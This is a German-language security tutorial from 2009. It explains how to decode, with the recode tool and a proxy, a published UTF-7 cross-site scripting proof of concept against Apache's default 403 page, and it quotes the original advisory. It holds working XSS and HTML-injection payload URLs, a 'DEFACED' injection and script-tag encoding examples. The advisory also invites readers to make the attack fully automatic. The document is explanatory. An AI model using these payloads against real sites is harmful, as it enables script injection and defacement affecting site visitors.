

Character Conversion

"recode"

Ivan Bütler – 8. Mai 2009



Herzlich Willkommen!

Ich arbeite als Geschäftsführer und Security Analyst bei Compass Security AG <http://www.csnc.ch>, einem führenden Schweizer Unternehmen für "Ethical Hacking" und "Penetration Testing".

Zeichensätze (UTF-7, UTF-8, Latin1, ...) scheinen eine Komplexität zu haben, welche die meisten von uns fordert (überfordert). Ich habe kürzlich eine Sicherheitslücke über Apache gelesen, wobei UTF-7 nicht sauber geprüft und eine XSS Sicherheitslücke resultiert. Um das Beispiel im Advisory zu verstehen braucht man etws KnowHow im Umgang mit Zeichen Konvertierungen.

Apache Server HTML Injection and UTF-7 XSS Vulnerability. This vulnerability will allow an attacker to inject an XSS to any Apache server that use the Forbidden 403 default page.

Als Beispiel für die Sicherheitslücke wurde folgender Exploit publiziert.

<http://downloads.securityfocus.com/vulnerabilities/exploits/29112.html>

```
http://www.example.com/Zn15g3k70ZaBUPYmN5RAGUdkskoprzGI63K4mIj2sqzbX0K
c3Fu7vfthepWhmKvjudPuJTNeK9zw5MaZ1yXJi8RJRruPe5UahFwOblMXsIPTGh3pVjTLd
im3vuTKgdazOG9idQbIjbnpMEco8Zlo5xNRuCoviPx7x7tYYeOgc8HU46gaecJwnHY7f6G
lQB8H6kBFhjoIaHE1SQPhU5VReCz1o1Ph5jz%3Cfont%20size=50%3EDEFACED%3C!xc+
ADw-script+AD4-alert('xss')+ADw-/script+AD4---/--
<http://www.victim.com/Zn15g3k70ZaBUPYmN5RAGUdkskoprzGI63K4mIj2sqzbX0K
c3Fu7vfthepWhmKvjudPuJTNeK9zw5MaZ1yXJi8RJRruPe5UahFwOblMXsIPTGh3pVjTLd
im3vuTKgdazOG9idQbIjbnpMEco8Zlo5xNRuCoviPx7x7tYYeOgc8HU46gaecJwnHY7f6G
lQB8H6kBFhjoIaHE1SQPhU5VReCz1o1Ph5jz%3Cfont%20size=50%3EDEFACED%3C%21x
c+ADw-script+AD4-alert%28%27xss%27%29+ADw-/script+AD4---/-->
```

Verstehen Sie den Exploit? Ich zeige Ihnen in diesem Dokument, wie Sie den obigen Exploit Code unkonvertieren können, so dass es einfacher zu lesen ist.

Mit dem Tool "recode" lassen sich sehr gute Konvertierungen vornehmen. Es ist die Umwandlung von UTF-7 in UTF-8, die Anzeige in Hex oder HTML möglich. Recode ist ein mächtiges Konvertierungstool!

Das Ergebnis unten ist nun in US-ASCII dargestellt, immer noch URL codiert, weil gewisse Zeichen in der %-Notation dargestellt werden.

```
cat utf7-exploit.txt | recode utf-7..us
```

```
http://www.example.com/Zn15g3k70ZaBUPYmN5RAGUdkskoprzGI63K4mIj2sqzbX0K
c3Fu7vfthepWhmKvjudPuJTNeK9zw5MaZ1yXJi8RJRruPe5UahFwOblMXsIPTGh3pVjTLd
im3vuTKgdazOG9idQbIjbnpMEco8Zlo5xNRuCoviPx7x7tYYeOgc8HU46gaecJwnHY7f6G
lQB8H6kBFhjoIaHE1SQPhU5VReCz1olPh5jZ%253Cfont%2520size=50%253EDEFACED%
253C!xc%3Cscript%3Ealert('xss')%3C/script%3E--//--
%3Chttp://www.victim.com/Zn15g3k70ZaBUPYmN5RAGUdkskoprzGI63K4mIj2sqzbX
0Kc3Fu7vfthepWhmKvjudPuJTNeK9zw5MaZ1yXJi8RJRruPe5UahFwOblMXsIPTGh3pVjT
Ldim3vuTKgdazOG9idQbIjbnpMEco8Zlo5xNRuCoviPx7x7tYYeOgc8HU46gaecJwnHY7f
6G1QB8H6kBFhjoIaHE1SQPhU5VReCz1olPh5jZ%253Cfont%2520size=50%253EDEFACE
D%253C%2521xc%3Cscript%3Ealert%2528%2527xss%2527%2529%3C/script%3E--/-
-%3E
```

Im nächsten Schritt gilt es die %25 Zeichen (URL encoded) zu entfernen. Dies habe ich mit dem Paros Proxy durchgeführt. Das Ergebnis sieht dann nach 1x Decoding wiefolgt aus:

```
http://www.example.com/Zn15g3k70ZaBUPYmN5RAGUdkskoprzGI63K4mIj2sqzbX0K
c3Fu7vfthepWhmKvjudPuJTNeK9zw5MaZ1yXJi8RJRruPe5UahFwOblMXsIPTGh3pVjTLd
im3vuTKgdazOG9idQbIjbnpMEco8Zlo5xNRuCoviPx7x7tYYeOgc8HU46gaecJwnHY7f6G
lQB8H6kBFhjoIaHE1SQPhU5VReCz1olPh5jZ%3Cfont%20size=50%3EDEFACED%3C!xc<
script>alert('xss')</script>--//--
<http://www.victim.com/Zn15g3k70ZaBUPYmN5RAGUdkskoprzGI63K4mIj2sqzbX0K
c3Fu7vfthepWhmKvjudPuJTNeK9zw5MaZ1yXJi8RJRruPe5UahFwOblMXsIPTGh3pVjTLd
im3vuTKgdazOG9idQbIjbnpMEco8Zlo5xNRuCoviPx7x7tYYeOgc8HU46gaecJwnHY7f6G
lQB8H6kBFhjoIaHE1SQPhU5VReCz1olPh5jZ%3Cfont%20size=50%3EDEFACED%3C%21x
c<script>alert%28%27xss%27%29</script>--/-->
```

Das Ergebnis sieht dann nach dem 2'ten Decoding wiefolgt aus:

```
http://www.example.com/Zn15g3k70ZaBUPYmN5RAGUdkskoprzGI63K4mIj2sqzbX0K
c3Fu7vfthepWhmKvjudPuJTNeK9zw5MaZ1yXJi8RJRruPe5UahFwOblMXsIPTGh3pVjTLd
im3vuTKgdazOG9idQbIjbnpMEco8Zlo5xNRuCoviPx7x7tYYeOgc8HU46gaecJwnHY7f6G
lQB8H6kBFhjoIaHE1SQPhU5VReCz1olPh5jZ<font
size=50>DEFACED<!xc<script>alert('xss')</script>--//--
<http://www.victim.com/Zn15g3k70ZaBUPYmN5RAGUdkskoprzGI63K4mIj2sqzbX0K
c3Fu7vfthepWhmKvjudPuJTNeK9zw5MaZ1yXJi8RJRruPe5UahFwOblMXsIPTGh3pVjTLd
im3vuTKgdazOG9idQbIjbnpMEco8Zlo5xNRuCoviPx7x7tYYeOgc8HU46gaecJwnHY7f6G
lQB8H6kBFhjoIaHE1SQPhU5VReCz1olPh5jZ<font
size=50>DEFACED<!xc<script>alert('xss')</script>--/-->
```

Recode Beispiele

Appendix A

Recode Support

- `recode -l`

```
recode -l |grep -i utf
UNICODE-1-1-UTF-7 csUnicode11UTF7 TF-7 u7 UTF-7
UTF-8 FSS_UTF TF-8 u8 UTF-2 UTF-FSS
UTF-16 TF-16 u6 Unicode
UTF-16BE
UTF-16LE
```

Recode Beispiele

- `echo "<script>alert(document.cookie)</script>" | recode ..utf-8`
- `echo "<script>alert(document.cookie)</script>" | recode ..utf-7`
- `echo "<script>alert(document.cookie)</script>" | recode ..html`
- `echo "<script>alert(document.cookie)</script>" | recode ../x`
- `echo "<script>alert(document.cookie)</script>" | recode ..dump-with-names`
- `echo "hansli:meier" | recode ../64 (base64 encoding)`

Ein paar weiterführende recode Beispiele (man page ist schwer zu lesen)

<http://www.hdeya.com/blog/wp-content/uploads/2009/02/linux-commands-a-practical-refrence.pdf>

Iconv Beispiele

- `echo "münsterhof" | iconv -f ISO8859-2 -t utf-7`
- `echo "münsterhof" | iconv -f ISO8859-2 -t utf-8`

UTF-7 XSS in Apache < 2.2.6

Appendix B

Im Detail kann man das Advisory hier nachlesen

<http://www.securityfocus.com/archive/1/491862>

- ▼ [Apache Server HTML Injection and UTF-7 XSS Vulnerability](#) May 08 2008 11:13PM
lament hero (lament hero gmail com)

Apache Server HTML Injection and UTF-7 XSS Vulnerability

This vulnerability was found by Yaniv Miron and Yossi Yakubov.
This vulnerability will allow an attacker to inject an XSS to any Apache server that use the Forbidden 403 default page.

After injecting this string:

```
http://www.victim.com/Znl5g3k70ZaBUPYmN5RAGUdkskoprzGI63K4mIj2sqzbX0Kc3F  
u7vfthepWhmKvjjudPuJTNeK9zw5MaZ1yXJi8RJRRuPe5UahFwObIMXsIPTGh3pVjTLdim3vu  
TKgdazOG9idQbIjbnpMEco8Zlo5xNRuCoviPx7x7tYyOgc8HU46gaecJwnHY7f6GIQB8H6k  
BFhjoIaHE1SQPhU5VReCz1oIph5jZ%3Cfont%20size=50%3EDEFACED%3C!xc+ADw-scrip  
t+AD4-alert('xss')+ADw-/script+AD4---//--
```

You will get a Forbidden 403 error message with an XSS alert.
This string is combined from HTML Injection and a XSS string coded in UTF-7.

This is only a PoC and because of that the browser should be in auto select mode of encoding so it could use the UTF-7 encoding.

This attack had been tested on some Apache versions as 2.2.x and 1.3.x and on some versions of FireFox up to version 2.0.0.x and in IE 6 and 7.

We leave it to other hackers to upgrade the attack and make it fully automatic.

Yaniv Miron aka "Lament".

[reply]